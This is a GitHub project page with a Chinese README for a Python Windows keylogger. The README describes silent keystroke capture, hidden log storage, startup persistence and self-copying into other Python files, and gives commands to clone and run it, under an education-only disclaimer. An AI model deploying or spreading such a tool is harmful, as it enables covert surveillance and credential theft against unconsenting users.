bryanseah234/keyLogger2020
GitHub: bryanseah234/keyLogger2020
一个基于 Python 的 Windows 键盘记录器,用于教育目的演示按键捕获、日志记录与自传播机制。
Stars: 2 | Forks: 0
# keyLogger2020
一个基于 Python 的 Windows 键盘记录器,用于捕获并记录所有键盘输入。
## 描述
keyLogger2020 是一个使用 Python 编写的 Windows 键盘记录器,它会记录所有键盘输入并将其存储到日志文件中。该应用程序在后台静默运行,并在 Windows 启动时自动启动。此项目用于教育目的,演示了 Python 中的键盘事件处理、日志记录以及自复制机制。
## 功能
- 实时捕获所有键盘输入
- 在隐藏目录中按时间戳存储日志
- Windows 启动时自动运行
- 使用线程在后台静默运行
- 轻量且高效
## 使用的技术
- Python 3.x
- pynput(键盘监听库)
- 线程(用于后台执行)
- 日志记录(用于带时间戳的日志存储)
## 安装
```
# 克隆仓库
git clone https://github.com/bryanseah234/keyLogger2020.git
# 导航到项目目录
cd keyLogger2020
# 安装依赖
pip install pynput
```
## 用法
```
# 运行 keylogger
python keylogger.pyw
```
日志存储位置:`C:\Users\\AppData\Roaming\zzz\logs.txt`
## ⚠️ 警告
该软件包含自传播代码,可能会修改系统中的其他 Python 文件。运行此代码将:
- 将其自身复制到 Windows 启动文件夹
- 扫描并可能修改用户目录中的其他 `.py` 和 `.pyw` 文件
**请仅在隔离/沙箱环境中用于教育研究。**
## 免责声明
1. 仅限教育用途
2. 自行承担使用风险
3. 作者不对任何误用负责
4. 在任何系统上使用前请务必获得明确许可
5. 本代码演示了恶意软件技术——不得用于恶意目的
## 许可证
MIT 许可证
**作者:** bryanseah234
标签:ETW劫持, keylogger, pynput, Python, T1056, 后台线程, 后门, 恶意软件, 教育用途, 无后门, 日志存储, 日志文件, 日志记录, 自传播, 自动复制, 自启动, 键盘事件处理, 键盘记录器, 键盘输入捕获, 隐蔽运行, 隐藏目录